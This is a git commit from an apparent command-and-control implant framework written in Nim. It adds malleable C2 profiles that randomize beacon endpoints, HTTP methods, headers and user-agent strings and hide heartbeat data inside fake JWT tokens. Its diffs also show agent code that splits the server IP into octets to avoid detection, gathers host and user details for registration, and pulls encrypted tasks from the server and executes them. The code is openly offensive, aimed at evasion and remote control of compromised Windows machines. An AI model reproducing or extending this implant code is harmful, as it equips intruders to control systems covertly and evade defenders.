Added profile system to agent communication. Randomized URL endpoints/request methods and dynamic data transformation based on C2 profile. Profile is defined as compile-time string for now.

This commit is contained in:
Jakob Friedl
2025-08-15 15:42:57 +02:00
parent 5a73c0f2f4
commit c7980d219d
19 changed files with 273 additions and 184 deletions

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@@ -0,0 +1,59 @@
import parsetoml, base64, system
import ../../common/[types, utils, crypto]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
const Octet2 {.intdefine.}: int = 0
const Octet3 {.intdefine.}: int = 0
const Octet4 {.intdefine.}: int = 0
const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
const ServerPublicKey {.strdefine.}: string = ""
const ProfileString {.strdefine.}: string = ""
proc init*(T: type AgentCtx): AgentCtx =
try:
# The agent configuration is read at compile time using define/-d statements in nim.cfg
# This configuration file can be dynamically generated from the teamserver management interface
# Downside to this is obviously that readable strings, such as the listener UUID can be found in the binary
when not ( defined(ListenerUuid) or
defined(Octet1) or
defined(Octet2) or
defined(Octet3) or
defined(Octet4) or
defined(ListenerPort) or
defined(SleepDelay) or
defined(ServerPublicKey) or
defined(ProfilePath)):
raise newException(CatchableError, "Missing agent configuration.")
# Reconstruct IP address, which is split into integers to prevent it from showing up as a hardcoded-string in the binary
let address = $Octet1 & "." & $Octet2 & "." & $Octet3 & "." & $Octet4
# Create agent configuration
var agentKeyPair = generateKeyPair()
let serverPublicKey = decode(ServerPublicKey).toKey()
let ctx = AgentCtx(
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay,
sessionKey: deriveSessionKey(agentKeyPair, serverPublicKey), # Perform key exchange to derive AES256 session key for encrypted communication
agentPublicKey: agentKeyPair.publicKey,
profile: parseString(decode(ProfileString))
)
# Cleanup agent's secret key
wipeKey(agentKeyPair.privateKey)
return ctx
except CatchableError as err:
echo "[-] " & err.msg
return nil

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@@ -1,43 +0,0 @@
import times
import ../../common/[types, serialize, sequence, utils, crypto]
proc createHeartbeat*(config: AgentConfig): Heartbeat =
return Heartbeat(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_HEARTBEAT),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: 0'u32,
iv: generateIV(),
gmac: default(AuthenticationTag)
),
listenerId: uuidToUint32(config.listenerId),
timestamp: uint32(now().toTime().toUnix())
)
proc serializeHeartbeat*(config: AgentConfig, request: var Heartbeat): seq[byte] =
var packer = Packer.init()
# Serialize check-in / heartbeat request
packer
.add(request.listenerId)
.add(request.timestamp)
let body = packer.pack()
packer.reset()
# Encrypt check-in / heartbeat request body
let (encData, gmac) = encrypt(config.sessionKey, request.header.iv, body, request.header.seqNr)
# Set authentication tag (GMAC)
request.header.gmac = gmac
# Serialize header
let header = packer.serializeHeader(request.header, uint32(encData.len))
return header & encData

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@@ -1,25 +1,55 @@
import httpclient, json, strformat, strutils, asyncdispatch, base64
import httpclient, json, strformat, strutils, asyncdispatch, base64, tables, parsetoml, random
import ../../common/[types, utils]
import ../../common/[types, utils, profile]
import sugar
proc httpGet*(ctx: AgentCtx, heartbeat: seq[byte]): string =
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
var heartbeatString: string
proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
# Apply data transformation to the heartbeat bytes
case ctx.profile.getString("http-get.agent.heartbeat.encoding.type", default = "none")
of "base64":
heartbeatString = encode(heartbeat, safe = ctx.profile.getBool("http-get.agent.heartbeat.encoding.url-safe")).replace("=", "")
of "none":
heartbeatString = Bytes.toString(heartbeat)
let prefix = ctx.profile.getString("http-get.agent.heartbeat.prefix")
let suffix = ctx.profile.getString("http-get.agent.heartbeat.suffix")
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
let payload = prefix & heartbeatString & suffix
# Define HTTP headers
# The heartbeat data is placed within a JWT token as the payload (Base64URL-encoded)
let payload = encode(checkinData, safe = true).replace("=", "")
client.headers = newHttpHeaders({
"Authorization": fmt"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.{payload}.KMUFsIDTnFmyG3nMiGM6H9FNFUROf3wh7SmqJp-QV30"
})
# Add heartbeat packet to the request
case ctx.profile.getString("http-get.agent.heartbeat.placement.type"):
of "header":
client.headers.add(ctx.profile.getString("http-get.agent.heartbeat.placement.name"), payload)
of "parameter":
discard
of "uri":
discard
of "body":
discard
else:
discard
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-get.agent.headers"):
client.headers.add(header, value.getStr())
# Define additional request parameters
var params = ""
for param, value in ctx.profile.getTable("http-get.agent.parameters"):
params &= fmt"&{param}={value.getStr}"
params[0] = '?'
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-get.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/get")
return responseBody
return waitFor client.getContent(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}{params}")
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time
@@ -30,21 +60,26 @@ proc httpGet*(config: AgentConfig, checkinData: seq[byte]): string =
return ""
proc httpPost*(config: AgentConfig, data: seq[byte]): bool {.discardable.} =
proc httpPost*(ctx: AgentCtx, data: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
let client = newAsyncHttpClient(userAgent = ctx.profile.getString("agent.user-agent"))
# Define headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $data.len
})
# Define request headers, as defined in profile
for header, value in ctx.profile.getTable("http-post.agent.headers"):
client.headers.add(header, value.getStr())
# Select a random endpoint to make the request to
var endpoint = ctx.profile.getArray("http-post.endpoints").getRandom().getStr()
if endpoint[0] == '/':
endpoint = endpoint[1..^1]
let requestMethod = parseEnum[HttpMethod](ctx.profile.getArray("http-post.request-methods").getRandom().getStr("POST"))
let body = Bytes.toString(data)
try:
# Send post request to team server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/post", body)
discard waitFor client.request(fmt"http://{ctx.ip}:{$ctx.port}/{endpoint}", requestMethod, body)
except CatchableError as err:
echo "[-] " & err.msg

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@@ -1,258 +0,0 @@
import winim, os, net, strformat, strutils, registry, sugar
import ../../common/[types, serialize, sequence, crypto, utils]
# Hostname/Computername
proc getHostname(): string =
var
buffer = newWString(CNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Domain Name
proc getDomain(): string =
const ComputerNameDnsDomain = 2 # COMPUTER_NAME_FORMAT (https://learn.microsoft.com/en-us/windows/win32/api/sysinfoapi/ne-sysinfoapi-computer_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
GetComputerNameExW(ComputerNameDnsDomain, &buffer, &dwSize)
return $buffer[ 0 ..< int(dwSize)]
# Username
proc getUsername(): string =
const NameSamCompatible = 2 # EXTENDED_NAME_FORMAT (https://learn.microsoft.com/de-de/windows/win32/api/secext/ne-secext-extended_name_format)
var
buffer = newWString(UNLEN + 1)
dwSize = DWORD buffer.len
if getDomain() != "":
# If domain-joined, return username in format DOMAIN\USERNAME
GetUserNameExW(NameSamCompatible, &buffer, &dwSize)
else:
# If not domain-joined, only return USERNAME
discard GetUsernameW(&buffer, &dwSize)
return $buffer[0 ..< int(dwSize)]
# Current process name
proc getProcessExe(): string =
let
hProcess: HANDLE = GetCurrentProcess()
buffer = newWString(MAX_PATH + 1)
try:
if hProcess != 0:
if GetModuleFileNameExW(hProcess, 0, buffer, MAX_PATH):
# .extractFilename() from the 'os' module gets the name of the executable from the full process path
# We replace trailing NULL bytes to prevent them from being sent as JSON data
return string($buffer).extractFilename().replace("\u0000", "")
finally:
CloseHandle(hProcess)
# Current process ID
proc getProcessId(): int =
return int(GetCurrentProcessId())
# Current process elevation/integrity level
proc isElevated(): bool =
# isAdmin() function from the 'os' module returns whether the process is executed with administrative privileges
return isAdmin()
# IPv4 Address (Internal)
proc getIPv4Address(): string =
# getPrimaryIPAddr from the 'net' module finds the local IP address, usually assigned to eth0 on LAN or wlan0 on WiFi, used to reach an external address. No traffic is sent
return $getPrimaryIpAddr()
# Windows Version fingerprinting
type
ProductType = enum
UNKNOWN = 0
WORKSTATION = 1
DC = 2
SERVER = 3
# API Structs
type OSVersionInfoExW {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} = object
dwOSVersionInfoSize: ULONG
dwMajorVersion: ULONG
dwMinorVersion: ULONG
dwBuildNumber: ULONG
dwPlatformId: ULONG
szCSDVersion: array[128, WCHAR]
wServicePackMajor: USHORT
wServicePackMinor: USHORT
wSuiteMask: USHORT
wProductType: UCHAR
wReserved: UCHAR
proc getWindowsVersion(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"
proc getProductType(): ProductType =
# The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
# ProductType REG_SZ WinNT
# Possible values are:
# LanmanNT -> Server/Domain Controller
# ServerNT -> Server
# WinNT -> Workstation
# Using the 'registry' module, we can get the exact registry value
case getUnicodeValue("""SYSTEM\CurrentControlSet\Control\ProductOptions""", "ProductType", HKEY_LOCAL_MACHINE)
of "WinNT":
return WORKSTATION
of "ServerNT":
return SERVER
of "LanmanNT":
return DC
proc getOSVersion(): string =
proc rtlGetVersion(lpVersionInformation: var OSVersionInfoExW): NTSTATUS
{.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".}
when defined(windows):
var osInfo: OSVersionInfoExW
discard rtlGetVersion(osInfo)
# echo $int(osInfo.dwMajorVersion)
# echo $int(osInfo.dwMinorVersion)
# echo $int(osInfo.dwBuildNumber)
# RtlGetVersion does not actually set the Product Type, which is required to differentiate
# between workstation and server systems. The value is set to 0, which would lead to all systems being "unknown"
# Normally, a value of 1 indicates a workstation os, while other values represent servers
# echo $int(osInfo.wProductType).toHex
# We instead retrieve the
return getWindowsVersion(osInfo, getProductType())
else:
return "Unknown"
proc collectAgentMetadata*(config: AgentConfig): AgentRegistrationData =
return AgentRegistrationData(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_REGISTER),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: uuidToUint32(config.agentId),
seqNr: nextSequence(uuidToUint32(config.agentId)),
iv: generateIV(),
gmac: default(AuthenticationTag)
),
agentPublicKey: config.agentPublicKey,
metadata: AgentMetadata(
listenerId: uuidToUint32(config.listenerId),
username: string.toBytes(getUsername()),
hostname: string.toBytes(getHostname()),
domain: string.toBytes(getDomain()),
ip: string.toBytes(getIPv4Address()),
os: string.toBytes(getOSVersion()),
process: string.toBytes(getProcessExe()),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep)
)
)
proc serializeRegistrationData*(config: AgentConfig, data: var AgentRegistrationData): seq[byte] =
var packer = Packer.init()
# Serialize registration data
packer
.add(data.metadata.listenerId)
.addVarLengthMetadata(data.metadata.username)
.addVarLengthMetadata(data.metadata.hostname)
.addVarLengthMetadata(data.metadata.domain)
.addVarLengthMetadata(data.metadata.ip)
.addVarLengthMetadata(data.metadata.os)
.addVarLengthMetadata(data.metadata.process)
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
let metadata = packer.pack()
packer.reset()
# Encrypt metadata
let (encData, gmac) = encrypt(config.sessionKey, data.header.iv, metadata, data.header.seqNr)
# Set authentication tag (GMAC)
data.header.gmac = gmac
# Serialize header
let header = packer.serializeHeader(data.header, uint32(encData.len))
packer.reset()
# Serialize the agent's public key to add it to the header
packer.addData(data.agentPublicKey)
let publicKey = packer.pack()
return header & publicKey & encData

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@@ -1,73 +0,0 @@
import strutils, tables, json, strformat, sugar
import ../../modules/manager
import ../../common/[types, serialize, sequence, crypto, utils]
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
try:
return getCommandByType(cast[CommandType](task.command)).execute(config, task)
except CatchableError as err:
echo "[-] Invalid command. " & err.msg
proc deserializeTask*(config: AgentConfig, bytes: seq[byte]): Task =
var unpacker = Unpacker.init(Bytes.toString(bytes))
let header = unpacker.deserializeHeader()
# Packet Validation
validatePacket(header, cast[uint8](MSG_TASK))
# Decrypt payload
let payload = unpacker.getBytes(int(header.size))
let decData= validateDecryption(config.sessionKey, header.iv, payload, header.seqNr, header)
# Deserialize decrypted data
unpacker = Unpacker.init(Bytes.toString(decData))
let
taskId = unpacker.getUint32()
listenerId = unpacker.getUint32()
timestamp = unpacker.getUint32()
command = unpacker.getUint16()
var argCount = unpacker.getUint8()
var args = newSeq[TaskArg]()
# Parse arguments
var i = 0
while i < int(argCount):
args.add(unpacker.getArgument())
inc i
return Task(
header: header,
taskId: taskId,
listenerId: listenerId,
timestamp: timestamp,
command: command,
argCount: argCount,
args: args
)
proc deserializePacket*(config: AgentConfig, packet: string): seq[Task] =
result = newSeq[Task]()
var unpacker = Unpacker.init(packet)
var taskCount = unpacker.getUint8()
echo fmt"[*] Response contained {taskCount} tasks."
if taskCount <= 0:
return @[]
while taskCount > 0:
# Read length of each task and store the task object in a seq[byte]
let
taskLength = unpacker.getUint32()
taskBytes = unpacker.getBytes(int(taskLength))
result.add(config.deserializeTask(taskBytes))
dec taskCount

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@@ -1,56 +0,0 @@
import times, sugar
import ../../common/[types, serialize, sequence, crypto, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =
return TaskResult(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESULT),
flags: cast[uint16](FLAG_ENCRYPTED),
size: 0'u32,
agentId: task.header.agentId,
seqNr: nextSequence(task.header.agentId),
iv: generateIV(),
gmac: default(array[16, byte])
),
taskId: task.taskId,
listenerId: task.listenerId,
timestamp: uint32(now().toTime().toUnix()),
command: task.command,
status: cast[uint8](status),
resultType: cast[uint8](resultType),
length: uint32(resultData.len),
data: resultData,
)
proc serializeTaskResult*(config: AgentConfig, taskResult: var TaskResult): seq[byte] =
var packer = Packer.init()
# Serialize result body
packer
.add(taskResult.taskId)
.add(taskResult.listenerId)
.add(taskResult.timestamp)
.add(taskResult.command)
.add(taskResult.status)
.add(taskResult.resultType)
.add(taskResult.length)
if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT:
packer.addData(taskResult.data)
let body = packer.pack()
packer.reset()
# Encrypt result body
let (encData, gmac) = encrypt(config.sessionKey, taskResult.header.iv, body, taskResult.header.seqNr)
# Set authentication tag (GMAC)
taskResult.header.gmac = gmac
# Serialize header
let header = packer.serializeHeader(taskResult.header, uint32(encData.len))
return header & encData